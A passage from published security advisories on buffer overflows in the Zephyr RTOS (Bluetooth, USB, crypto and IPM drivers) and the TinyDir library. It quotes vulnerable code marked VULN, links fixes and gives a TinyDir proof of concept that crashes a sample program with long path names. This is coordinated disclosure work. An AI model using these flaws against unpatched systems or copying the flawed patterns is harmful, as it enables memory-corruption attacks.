(!buf) { 604 | return -ENOBUFS; 605 | } 606 | 607 | cp = net_buf_add(buf, sizeof(*cp)); 608 | cp->handle = sys_cpu_to_le16(conn->handle); 609 | memcpy(&cp->rand, rand, sizeof(cp->rand)); 610 | memcpy(&cp->ediv, ediv, sizeof(cp->ediv)); 611 | 612 | memcpy(cp->ltk, ltk, len); /* VULN */ 613 | if (len < sizeof(cp->ltk)) { 614 | (void)memset(cp->ltk + len, 0, sizeof(cp->ltk) - len); 615 | } 616 | 617 | return bt_hci_cmd_send_sync(BT_HCI_OP_LE_START_ENCRYPTION, buf, NULL); 618 | } 619 | ``` 620 | 621 | Ineffective size check due to assert and buffer overflow in 622 | /subsys/bluetooth/mesh/beacon.c: 623 | ```c 624 | void bt_mesh_beacon_priv_random_get(uint8_t *random, size_t size) 625 | { 626 | __ASSERT(size <= sizeof(priv_random.val), "Invalid random value size %u", size); 627 | memcpy(random, priv_random.val, size); /* VULN */ 628 | } 629 | ``` 630 | 631 | Static buffer overflow in /subsys/bluetooth/mesh/prov_device.c (conf_size 632 | could be 32 and not 16): 633 | ```c 634 | static void prov_confirm(const uint8_t *data) 635 | { 636 | uint8_t conf_size = bt_mesh_prov_auth_size_get(); 637 | 638 | LOG_DBG("Remote Confirm: %s", bt_hex(data, conf_size)); 639 | 640 | memcpy(bt_mesh_prov_link.conf, data, conf_size); /* VULN */ 641 | notify_input_complete(); 642 | 643 | send_confirm(); 644 | } 645 | ``` 646 | 647 | Static buffer overflow in /subsys/bluetooth/mesh/provisioner.c (conf_size 648 | could be 32 and not 16): 649 | ```c 650 | static void prov_confirm(const uint8_t *data) 651 | { 652 | uint8_t conf_size = bt_mesh_prov_auth_size_get(); 653 | 654 | LOG_DBG("Remote Confirm: %s", bt_hex(data, conf_size)); 655 | 656 | if (!memcmp(data, bt_mesh_prov_link.conf, conf_size)) { 657 | LOG_ERR("Confirm value is identical to ours, rejecting."); 658 | prov_fail(PROV_ERR_CFM_FAILED); 659 | return; 660 | } 661 | 662 | memcpy(bt_mesh_prov_link.conf, data, conf_size); /* VULN */ 663 | 664 | send_random(); 665 | } 666 | ``` 667 | 668 | Stack-based buffer overflow in /subsys/bluetooth/mesh/shell/rpr.c: 669 | ```c 670 | static void rpr_scan_report(struct bt_mesh_rpr_cli *cli, 671 | const struct bt_mesh_rpr_node *srv, 672 | struct bt_mesh_rpr_unprov *unprov, 673 | struct net_buf_simple *adv_data) 674 | { 675 | char uuid_hex_str[32 + 1]; 676 | 677 | bin2hex(unprov->uuid, 16, uuid_hex_str, sizeof(uuid_hex_str)); 678 | 679 | shell_print(bt_mesh_shell_ctx_shell, 680 | "Server 0x%04x:\n" 681 | "\tuuid: %s\n" 682 | "\tOOB: 0x%04x", 683 | srv->addr, uuid_hex_str, unprov->oob); 684 | 685 | while (adv_data && adv_data->len > 2) { 686 | uint8_t len, type; 687 | uint8_t data[31]; 688 | 689 | len = net_buf_simple_pull_u8(adv_data) - 1; 690 | type = net_buf_simple_pull_u8(adv_data); 691 | memcpy(data, net_buf_simple_pull_mem(adv_data, len), len); /* VULN */ 692 | data[len] = '\0'; 693 | 694 | if (type == BT_DATA_URI) { 695 | shell_print(bt_mesh_shell_ctx_shell, "\tURI: \"\\x%02x%s\"", 696 | data[0], &data[1]); 697 | } else if (type == BT_DATA_NAME_COMPLETE) { 698 | shell_print(bt_mesh_shell_ctx_shell, "\tName: \"%s\"", data); 699 | } else { 700 | char string[64 + 1]; 701 | 702 | bin2hex(data, len, string, sizeof(string)); 703 | shell_print(bt_mesh_shell_ctx_shell, "\t0x%02x: %s", type, string); 704 | } 705 | } 706 | } 707 | ``` 708 | 709 | Fixes: 710 | https://github.com/zephyrproject-rtos/zephyr/pull/58834 711 | https://github.com/zephyrproject-rtos/zephyr/pull/60465 712 | https://github.com/zephyrproject-rtos/zephyr/pull/61845 713 | 714 | See also: 715 | https://github.com/zephyrproject-rtos/zephyr/security/advisories/GHSA-rgx6-3w4j-gf5j 716 | 717 | 718 | --[ 3.9 - CVE-2023-4265 - Two buffer overflow vulnerabilities in Zephyr USB code 719 | 720 | We found two buffer overflow vulnerabilities at the following locations: 721 | 722 | * /drivers/usb/device/usb_dc_native_posix.c#L359 723 | * /subsys/usb/device/class/netusb/function_rndis.c#L841 724 | 725 | The first vulnerability is located in the usb_dc_ep_write() function: 726 | ```c 727 | int usb_dc_ep_write(const uint8_t ep, const uint8_t *const data, 728 | const uint32_t data_len, uint32_t * const ret_bytes) 729 | { 730 | LOG_DBG("ep %x len %u", ep, data_len); 731 | 732 | if (!usbip_ctrl.attached || !usbip_ep_is_valid(ep)) { 733 | LOG_ERR("Not attached / Invalid endpoint: EP 0x%x", ep); 734 | return -EINVAL; 735 | } 736 | 737 | /* Check if IN ep */ 738 | if (USB_EP_GET_DIR(ep) != USB_EP_DIR_IN) { 739 | return -EINVAL; 740 | } 741 | 742 | /* Check if ep enabled */ 743 | if (!usbip_ep_is_enabled(ep)) { 744 | LOG_WRN("ep %x disabled", ep); 745 | return -EINVAL; 746 | } 747 | 748 | if (USB_EP_GET_IDX(ep) == 0) { 749 | if (!usbip_send_common(ep, data_len)) { 750 | return -EIO; 751 | } 752 | 753 | if (usbip_send(ep, data, data_len) != data_len) { 754 | return -EIO; 755 | } 756 | } else { 757 | uint8_t ep_idx = USB_EP_GET_IDX(ep); 758 | struct usb_ep_ctrl_prv *ctrl = &usbip_ctrl.in_ep_ctrl[ep_idx]; 759 | 760 | memcpy(ctrl->buf, data, data_len); /* VULN */ 761 | ctrl->buf_len = data_len; 762 | } 763 | 764 | if (ret_bytes) { 765 | *ret_bytes = data_len; 766 | } 767 | 768 | return 0; 769 | } 770 | ``` 771 | 772 | A check on `data_len` is missing. Because `data` and `data_len` are 773 | potentially attacker-controlled, the fixed-size buffer `buf` in the 774 | following structure could overflow during memcpy(), thus leading to denial 775 | of service or arbitrary code execution: 776 | ```c 777 | struct usb_ep_ctrl_prv { 778 | u8_t ep_ena; 779 | u16_t mps; 780 | usb_dc_ep_callback cb; 781 | u32_t data_len; 782 | u8_t buf[64]; 783 | u8_t buf_len; 784 | }; 785 | ``` 786 | 787 | The second vulnerability is located in the handle_encapsulated_rsp() 788 | function: 789 | ```c 790 | static int handle_encapsulated_rsp(uint8_t **data, uint32_t *len) 791 | { 792 | struct net_buf *buf; 793 | 794 | LOG_DBG(""); 795 | 796 | buf = net_buf_get(&rndis_tx_queue, K_NO_WAIT); 797 | if (!buf) { 798 | LOG_ERR("Error getting response buffer"); 799 | *len = 0U; 800 | return -ENODATA; 801 | } 802 | 803 | if (VERBOSE_DEBUG) { 804 | net_hexdump("RSP <", buf->data, buf->len); 805 | } 806 | 807 | memcpy(*data, buf->data, buf->len); /* VULN */ 808 | *len = buf->len; 809 | 810 | net_buf_unref(buf); 811 | 812 | return 0; 813 | } 814 | ``` 815 | 816 | A check on `buf->len` is missing. Because `buf->data` and `buf->len` are 817 | potentially attacker-controlled, the `data` buffer could overflow due to 818 | memcpy(), thus leading to denial of service or arbitrary code execution. 819 | 820 | Fixes: 821 | https://github.com/zephyrproject-rtos/zephyr/pull/59018 822 | https://github.com/zephyrproject-rtos/zephyr/pull/59157 823 | 824 | See also: 825 | https://github.com/zephyrproject-rtos/zephyr/security/advisories/GHSA-4vgv-5r6q-r6xh 826 | 827 | 828 | --[ 3.10 - CVE-2023-5139 - Buffer overflow vulnerability in the Zephyr STM32 Crypto driver 829 | 830 | We spotted a buffer overflow vulnerability at the following location in the 831 | Zephyr STM32 Crypto driver source code: 832 | 833 | * /drivers/crypto/crypto_stm32.c 834 | 835 | Buffer overflow due to ineffective assert check in 836 | /drivers/crypto/crypto_stm32.c: 837 | ```c 838 | static void copy_reverse_words(uint8_t *dst_buf, int dst_len, 839 | uint8_t *src_buf, int src_len) 840 | { 841 | int i; 842 | 843 | __ASSERT_NO_MSG(dst_len >= src_len); /* VULN: assert */ 844 | __ASSERT_NO_MSG((dst_len % 4) == 0); 845 | 846 | memcpy(dst_buf, src_buf, src_len); /* VULN: buffer overflow */ 847 | for (i = 0; i < dst_len; i += sizeof(uint32_t)) { 848 | sys_mem_swap(&dst_buf[i], sizeof(uint32_t)); 849 | } 850 | } 851 | ``` 852 | 853 | The function copy_reverse_words() is called in a few locations that might 854 | be problematic, because `src_len` might be attacker-controlled: 855 | 856 | * crypto_stm32_ctr_encrypt() 857 | * crypto_stm32_ctr_decrypt() 858 | * crypto_stm32_session_setup() 859 | 860 | Fixes: 861 | https://github.com/zephyrproject-rtos/zephyr/pull/61839 862 | 863 | See also: 864 | https://github.com/zephyrproject-rtos/zephyr/security/advisories/GHSA-rhrc-pcxp-4453 865 | 866 | 867 | --[3.11 - CVE-2023-5184 - Signed to unsigned conversion errors and buffer overflow vulnerabilities in the Zephyr IPM driver 868 | 869 | We spotted two signed to unsigned conversion errors and buffer overflow 870 | vulnerabilities at the following locations in the Zephyr IPM driver source 871 | code: 872 | 873 | * /drivers/ipm/ipm_imx.c 874 | * /drivers/ipm/ipm_mcux.c 875 | 876 | Buffer overflow if `size` is negative, due to signed/unsigned conversion in 877 | /drivers/ipm/ipm_imx.c: 878 | ```c 879 | static int imx_mu_ipm_send(const struct device *dev, int wait, uint32_t id, 880 | const void *data, int size) 881 | { 882 | const struct imx_mu_config *config = dev->config; 883 | MU_Type *base = MU(config); 884 | uint32_t data32[IMX_IPM_DATA_REGS]; 885 | #if !IS_ENABLED(CONFIG_IPM_IMX_REV2) 886 | mu_status_t status; 887 | #endif 888 | int i; 889 | 890 | if (id > CONFIG_IPM_IMX_MAX_ID_VAL) { 891 | return -EINVAL; 892 | } 893 | 894 | if (size > CONFIG_IPM_IMX_MAX_DATA_SIZE) { /* VULN: ineffective check if size is negative */ 895 | return -EMSGSIZE; 896 | } 897 | 898 | /* Actual message is passing using 32 bits registers */ 899 | memcpy(data32, data, size); /* VULN: buffer overflow if size is negative */ 900 | ... 901 | ``` 902 | 903 | Buffer overflow if `size` is negative, due to signed/unsigned conversion in 904 | /drivers/ipm/ipm_mcux.c: 905 | ```c 906 | static int mcux_mailbox_ipm_send(const struct device *d, int wait, 907 | uint32_t id, 908 | const void *data, int size) 909 | { 910 | const struct mcux_mailbox_config *config = d->config; 911 | MAILBOX_Type *base = config->base; 912 | uint32_t data32[MCUX_IPM_DATA_REGS]; /* Until we change API 913 | * to uint32_t array 914 | */ 915 | unsigned int flags; 916 | int i; 917 | 918 | ARG_UNUSED(wait); 919 | 920 | if (id > MCUX_IPM_MAX_ID_VAL) { 921 | return -EINVAL; 922 | } 923 | 924 | if (size > MCUX_IPM_DATA_REGS * sizeof(uint32_t)) { /* VULN: ineffective check if size is negative */ 925 | return -EMSGSIZE; 926 | } 927 | 928 | flags = irq_lock(); 929 | 930 | /* Actual message is passing using 32 bits registers */ 931 | memcpy(data32, data, size); /* VULN: buffer overflow if size is negative */ 932 | ... 933 | ``` 934 | 935 | Fixes: 936 | https://github.com/zephyrproject-rtos/zephyr/pull/63069 937 | 938 | See also: 939 | https://github.com/zephyrproject-rtos/zephyr/security/advisories/GHSA-8x3p-q3r5-xh9g 940 | 941 | 942 | --[3.12 - CVE-2023-5753 - Other buffer overflow vulnerabilities in the Zephyr Bluetooth subsystem 943 | 944 | We spotted some additional buffer overflow vulnerabilities at the following 945 | locations in the Zephyr Bluetooth subsystem source code: 946 | 947 | * /subsys/bluetooth/controller/ll_sw/ull_adv.c 948 | * /subsys/bluetooth/host/hci_core.c 949 | * /subsys/bluetooth/host/iso.c 950 | 951 | Potential integer underflow due to ineffective assert check leading to 952 | buffer overflow in /subsys/bluetooth/controller/ll_sw/ull_adv.c: 953 | ```c 954 | uint8_t ll_adv_params_set(uint16_t interval, uint8_t adv_type, 955 | uint8_t own_addr_type, uint8_t direct_addr_type, 956 | uint8_t const *const direct_addr, uint8_t chan_map, 957 | uint8_t filter_policy) 958 | { 959 | ... 960 | #if defined(CONFIG_BT_CTLR_AD_DATA_BACKUP) 961 | /* Backup the legacy AD Data if switching to legacy directed advertising 962 | * or to Extended Advertising. 963 | */ 964 | if (((pdu->type == PDU_ADV_TYPE_DIRECT_IND) || 965 | (IS_ENABLED(CONFIG_BT_CTLR_ADV_EXT) && 966 | (pdu->type == PDU_ADV_TYPE_EXT_IND))) && 967 | (pdu_type_prev != PDU_ADV_TYPE_DIRECT_IND) && 968 | (!IS_ENABLED(CONFIG_BT_CTLR_ADV_EXT) || 969 | (pdu_type_prev != PDU_ADV_TYPE_EXT_IND))) { 970 | if (pdu->len == 0U) { 971 | adv->ad_data_backup.len = 0U; 972 | } else { 973 | LL_ASSERT(pdu->len >= 974 | offsetof(struct pdu_adv_adv_ind, data)); /* VULN: assert */ 975 | 976 | adv->ad_data_backup.len = pdu->len - 977 | offsetof(struct pdu_adv_adv_ind, data); /* VULN: integer underflow */ 978 | memcpy(adv->ad_data_backup.data, pdu->adv_ind.data, 979 | adv->ad_data_backup.len); /* VULN: buffer overflow */ 980 | } 981 | } 982 | #endif /* CONFIG_BT_CTLR_AD_DATA_BACKUP */ 983 | ... 984 | ``` 985 | 986 | Buffer overflows due to assert in /subsys/bluetooth/host/hci_core.c: 987 | ```c 988 | #if defined(CONFIG_BT_CONN) 989 | static void hci_acl(struct net_buf *buf) 990 | { 991 | struct bt_hci_acl_hdr *hdr; 992 | uint16_t handle, len; 993 | struct bt_conn *conn; 994 | uint8_t flags; 995 | 996 | LOG_DBG("buf %p", buf); 997 | 998 | BT_ASSERT(buf->len >= sizeof(*hdr)); /* VULN: assert */ 999 | 1000 | hdr = net_buf_pull_mem(buf, sizeof(*hdr)); /* VULN: buffer overflow */ 1001 | len = sys_le16_to_cpu(hdr->len); 1002 | handle = sys_le16_to_cpu(hdr->handle); 1003 | flags = bt_acl_flags(handle); 1004 | ... 1005 | 1006 | static void hci_event(struct net_buf *buf) 1007 | { 1008 | struct bt_hci_evt_hdr *hdr; 1009 | 1010 | BT_ASSERT(buf->len >= sizeof(*hdr)); /* VULN: assert */ 1011 | 1012 | hdr = net_buf_pull_mem(buf, sizeof(*hdr)); /* VULN: buffer overflow */ 1013 | LOG_DBG("event 0x%02x", hdr->evt); 1014 | BT_ASSERT(bt_hci_evt_get_flags(hdr->evt) & BT_HCI_EVT_FLAG_RECV); 1015 | 1016 | handle_event(hdr->evt, buf, normal_events, ARRAY_SIZE(normal_events)); 1017 | 1018 | net_buf_unref(buf); 1019 | } 1020 | ... 1021 | 1022 | void hci_event_prio(struct net_buf *buf) 1023 | { 1024 | struct net_buf_simple_state state; 1025 | struct bt_hci_evt_hdr *hdr; 1026 | uint8_t evt_flags; 1027 | 1028 | net_buf_simple_save(&buf->b, &state); 1029 | 1030 | BT_ASSERT(buf->len >= sizeof(*hdr)); /* VULN: assert */ 1031 | 1032 | hdr = net_buf_pull_mem(buf, sizeof(*hdr)); /* VULN: buffer overflow */ 1033 | evt_flags = bt_hci_evt_get_flags(hdr->evt); 1034 | BT_ASSERT(evt_flags & BT_HCI_EVT_FLAG_RECV_PRIO); 1035 | 1036 | handle_event(hdr->evt, buf, prio_events, ARRAY_SIZE(prio_events)); 1037 | 1038 | if (evt_flags & BT_HCI_EVT_FLAG_RECV) { 1039 | net_buf_simple_restore(&buf->b, &state); 1040 | } else { 1041 | net_buf_unref(buf); 1042 | } 1043 | } 1044 | ``` 1045 | 1046 | Buffer overflow due to assert in /subsys/bluetooth/host/iso.c: 1047 | ```c 1048 | void hci_iso(struct net_buf *buf) 1049 | { 1050 | struct bt_hci_iso_hdr *hdr; 1051 | uint16_t handle, len; 1052 | struct bt_conn *iso; 1053 | uint8_t flags; 1054 | 1055 | BT_ISO_DATA_DBG("buf %p", buf); 1056 | 1057 | BT_ASSERT(buf->len >= sizeof(*hdr)); /* VULN: assert */ 1058 | 1059 | hdr = net_buf_pull_mem(buf, sizeof(*hdr)); /* VULN: buffer overflow */ 1060 | len = bt_iso_hdr_len(sys_le16_to_cpu(hdr->len)); 1061 | handle = sys_le16_to_cpu(hdr->handle); 1062 | flags = bt_iso_flags(handle); 1063 | ... 1064 | ``` 1065 | 1066 | In addition, the following helper functions in /subsys/net/buf_simple.c use 1067 | assertions to check input, which renders checks ineffective: 1068 | 1069 | * net_buf_simple_add() 1070 | * net_buf_simple_remove_mem() 1071 | * net_buf_simple_push() 1072 | * net_buf_simple_pull() 1073 | * net_buf_simple_pull_mem() 1074 | 1075 | Fixes: 1076 | https://github.com/zephyrproject-rtos/zephyr/pull/63605 1077 | 1078 | Note that the first item in this advisory, the one involving 1079 | /subsys/bluetooth/controller/ll_sw/ull_adv.c, has not been addressed 1080 | because the pdu length that is being asserted on has been set by the 1081 | controller itself prior to the execution of this code, and so it is not 1082 | coming from the outside world. Hence, an assertion is correct in that 1083 | particular case. 1084 | 1085 | See also: 1086 | https://github.com/zephyrproject-rtos/zephyr/security/advisories/GHSA-hmpr-px56-rvww 1087 | 1088 | 1089 | --[ 4 - Affected products 1090 | 1091 | Zephyr 3.4.0 and earlier versions are affected by the vulnerabilities 1092 | discussed in this advisory, except for CVE-2023-4265 (Two buffer overflow 1093 | vulnerabilities in Zephyr USB code) that affects Zephyr 3.3.0 and earlier, 1094 | and CVE-2023-4261 that affects Zephyr 3.5.0 and earlier. 1095 | 1096 | 1097 | --[ 5 - Remediation 1098 | 1099 | On 2023-10-20 the Zephyr Project has released version 3.5.0 of their RTOS 1100 | [6] that contains fixes for all vulnerabilities discussed in this advisory, 1101 | except for CVE-2023-4265 that was already fixed in Zephyr 3.4.0, and 1102 | CVE-2023-4261 that will be fixed in a future update. 1103 | 1104 | Please check the official Zephyr Project channels for further information 1105 | about fixes and backported patches for older but still maintained releases 1106 | of the Zephyr RTOS [7]. 1107 | 1108 | 1109 | --[ 6 - Disclosure timeline 1110 | 1111 | We reported the vulnerabilities discussed in this advisory to the Zephyr 1112 | Project between May and July 2023, using GitHub's security advisories 1113 | feature [8]. 1114 | 1115 | Private vulnerability reporting allows security researchers to report 1116 | vulnerabilities securely in a repository. It's an excellent way to 1117 | streamline coordinated disclosure and we wish more maintainers enabled it. 1118 | 1119 | 1120 | --[ 7 - Acknowledgments 1121 | 1122 | We would like to thank the Zephyr Project's development team and Flavio 1123 | Ceolin in particular for triaging and fixing the reported vulnerabilities. 1124 | 1125 | 1126 | --[ 8 - References 1127 | 1128 | [1] https://www.zephyrproject.org/ 1129 | [2] https://github.com/zephyrproject-rtos/zephyr 1130 | [3] https://ost2.fyi/Vulns1001 1131 | [4] https://ost2.fyi/Vulns1002 1132 | [5] https://github.com/0xdea/semgrep-rules 1133 | [6] https://github.com/zephyrproject-rtos/zephyr/releases/tag/v3.5.0 1134 | [7] https://github.com/zephyrproject-rtos/zephyr/security 1135 | [8] https://docs.github.com/en/code-security/security-advisories 1136 | 1137 | 1138 | Copyright (c) 2023 Marco Ivaldi and Humanativa Group. All rights reserved. 1139 | -------------------------------------------------------------------------------- /HNS-2023-04-tinydir.txt: -------------------------------------------------------------------------------- 1 | --[ HNS-2023-04 - HN Security Advisory - https://security.humanativaspa.it/ 2 | 3 | * Title: Buffer overflow vulnerabilities with long path names in TinyDir 4 | * Product: TinyDir <= 1.2.5 5 | * Author: Marco Ivaldi 6 | * Date: 2023-12-04 7 | * CVE ID: CVE-2023-49287 8 | * Severity: High - 7.7 - CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H 9 | * Vendor URL: https://github.com/cxong/tinydir 10 | * Advisory URL: https://github.com/cxong/tinydir/security/advisories/GHSA-jf5r-wgf4-qhxf 11 | 12 | 13 | --[ 0 - Table of contents 14 | 15 | 1 - Summary 16 | 2 - Background 17 | 3 - Vulnerabilities 18 | 4 - Proof of concept 19 | 5 - Affected products 20 | 6 - Remediation 21 | 7 - Disclosure timeline 22 | 8 - Acknowledgments 23 | 9 - References 24 | 25 | 26 | --[ 1 - Summary 27 | 28 | "This is the OG we all want to be, congrats on 20yrs of (public) vulns!" 29 | -- Erik Cabetas 30 | 31 | TinyDir is a lightweight, portable and easy to integrate C directory and 32 | file reader. It wraps dirent for POSIX and FindFirstFile for Windows. 33 | 34 | We reviewed TinyDir's source code hosted on GitHub [1] and identified some 35 | security vulnerabilities that may cause memory corruption. Their impacts 36 | range from denial of service to potential arbitrary code execution. 37 | 38 | 39 | --[ 2 - Background 40 | 41 | While auditing another codebase, we noticed that it included TinyDir. 42 | Since this small but successful project is used in hundreds of repositories 43 | [2], we decided to review it in search of security bugs. 44 | 45 | 46 | --[ 3 - Vulnerabilities 47 | 48 | We spotted some buffer overflow vulnerabilities with long path names in the 49 | tinydir_file_open() function, at the marked locations in the following 50 | source code listing: 51 | 52 | ```c 53 | /* Open a single file given its path */ 54 | _TINYDIR_FUNC 55 | int tinydir_file_open(tinydir_file *file, const _tinydir_char_t *path) 56 | { 57 | tinydir_dir dir; 58 | int result = 0; 59 | int found = 0; 60 | _tinydir_char_t dir_name_buf[_TINYDIR_PATH_MAX]; 61 | _tinydir_char_t file_name_buf[_TINYDIR_FILENAME_MAX]; 62 | _tinydir_char_t *dir_name; 63 | _tinydir_char_t *base_name; 64 | #if (defined _MSC_VER || defined __MINGW32__) 65 | _tinydir_char_t drive_buf[_TINYDIR_PATH_MAX]; 66 | _tinydir_char_t ext_buf[_TINYDIR_FILENAME_MAX]; 67 | #endif 68 | 69 | if (file == NULL || path == NULL || _tinydir_strlen(path) == 0) 70 | { 71 | errno = EINVAL; 72 | return -1; 73 | } 74 | if (_tinydir_strlen(path) + _TINYDIR_PATH_EXTRA >= _TINYDIR_PATH_MAX) 75 | { 76 | errno = ENAMETOOLONG; 77 | return -1; 78 | } 79 | 80 | /* Get the parent path */ 81 | #if (defined _MSC_VER || defined __MINGW32__) 82 | #if ((defined _MSC_VER) && (_MSC_VER >= 1400)) 83 | errno = _tsplitpath_s( 84 | path, 85 | drive_buf, _TINYDIR_DRIVE_MAX, 86 | dir_name_buf, _TINYDIR_FILENAME_MAX, 87 | file_name_buf, _TINYDIR_FILENAME_MAX, 88 | ext_buf, _TINYDIR_FILENAME_MAX); 89 | #else 90 | _tsplitpath( 91 | path, 92 | drive_buf, 93 | dir_name_buf, 94 | file_name_buf, 95 | ext_buf); /* VULN: potential buffer overflow due to insecure splitpath() API 96 | (https://learn.microsoft.com/en-us/cpp/c-runtime-library/reference/splitpath-wsplitpath?view=msvc-170) */ 97 | #endif 98 | 99 | if (errno) 100 | { 101 | return -1; 102 | } 103 | 104 | /* _splitpath_s not work fine with only filename and widechar support */ 105 | #ifdef _UNICODE 106 | if (drive_buf[0] == L'\xFEFE') 107 | drive_buf[0] = '\0'; 108 | if (dir_name_buf[0] == L'\xFEFE') 109 | dir_name_buf[0] = '\0'; 110 | #endif 111 | 112 | /* Emulate the behavior of dirname by returning "." for dir name if it's 113 | empty */ 114 | if (drive_buf[0] == '\0' && dir_name_buf[0] == '\0') 115 | { 116 | _tinydir_strcpy(dir_name_buf, TINYDIR_STRING(".")); 117 | } 118 | /* Concatenate the drive letter and dir name to form full dir name */ 119 | _tinydir_strcat(drive_buf, dir_name_buf); 120 | dir_name = drive_buf; 121 | /* Concatenate the file name and extension to form base name */ 122 | _tinydir_strcat(file_name_buf, ext_buf); /* VULN: since sizeof(file_name_buf) + sizeof(ext_buf) is larger than 123 | sizeof(file_name_buf), we have a potential stack buffer overflow */ 124 | base_name = file_name_buf; 125 | #else 126 | _tinydir_strcpy(dir_name_buf, path); 127 | dir_name = dirname(dir_name_buf); 128 | _tinydir_strcpy(file_name_buf, path); /* VULN: since sizeof(file_name_buf) is smaller than the maximum path length, 129 | we have a potential stack buffer overflow */ 130 | base_name = basename(file_name_buf); 131 | #endif 132 | 133 | /* Special case: if the path is a root dir, open the parent dir as the file */ 134 | #if (defined _MSC_VER || defined __MINGW32__) 135 | if (_tinydir_strlen(base_name) == 0) 136 | #else 137 | if ((_tinydir_strcmp(base_name, TINYDIR_STRING("/"))) == 0) 138 | #endif 139 | { 140 | memset(file, 0, sizeof * file); 141 | file->is_dir = 1; 142 | file->is_reg = 0; 143 | _tinydir_strcpy(file->path, dir_name); 144 | file->extension = file->path + _tinydir_strlen(file->path); 145 | return 0; 146 | } 147 | 148 | /* Open the parent directory */ 149 | if (tinydir_open(&dir, dir_name) == -1) 150 | { 151 | return -1; 152 | } 153 | 154 | /* Read through the parent directory and look for the file */ 155 | while (dir.has_next) 156 | { 157 | if (tinydir_readfile(&dir, file) == -1) 158 | { 159 | result = -1; 160 | goto bail; 161 | } 162 | if (_tinydir_strcmp(file->name, base_name) == 0) 163 | { 164 | /* File found */ 165 | found = 1; 166 | break; 167 | } 168 | tinydir_next(&dir); 169 | } 170 | if (!found) 171 | { 172 | result = -1; 173 | errno = ENOENT; 174 | } 175 | 176 | bail: 177 | tinydir_close(&dir); 178 | return result; 179 | } 180 | ``` 181 | 182 | 183 | --[ 4 - Proof of concept 184 | 185 | Step-by-step instructions to replicate the third vulnerability on Linux: 186 | 187 | ``` 188 | $ git clone https://github.com/cxong/tinydir 189 | $ cd tinydir/samples/ 190 | $ gcc -g -fsanitize=address -I.. file_open_sample.c -o file_open_sample 191 | $ mkdir -p AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/ 192 | $ ./file_open_sample AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 193 | Path: ./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 194 | Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 195 | Extension: 196 | Is dir? yes 197 | Is regular file? no 198 | $ ./file_open_sample AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/ 199 | ================================================================= 200 | ==2533==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffd1ecabeb0 at pc 0x7f37b22544bf bp 0x7ffd1ecaac10 sp 0x7ffd1ecaa3b8 201 | WRITE of size 513 at 0x7ffd1ecabeb0 thread T0 202 | #0 0x7f37b22544be in __interceptor_strcpy ../../../../src/libsanitizer/asan/asan_interceptors.cpp:440 203 | #1 0x5625cf301b69 in tinydir_file_open ../tinydir.h:711 204 | #2 0x5625cf3021f4 in main /home/raptor/tinydir/samples/file_open_sample.c:12 205 | #3 0x7f37b1e29d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58 206 | #4 0x7f37b1e29e3f in __libc_start_main_impl ../csu/libc-start.c:392 207 | #5 0x5625cf3004e4 in _start (/home/raptor/tinydir/samples/file_open_sample+0x24e4) 208 | 209 | Address 0x7ffd1ecabeb0 is located in stack of thread T0 at 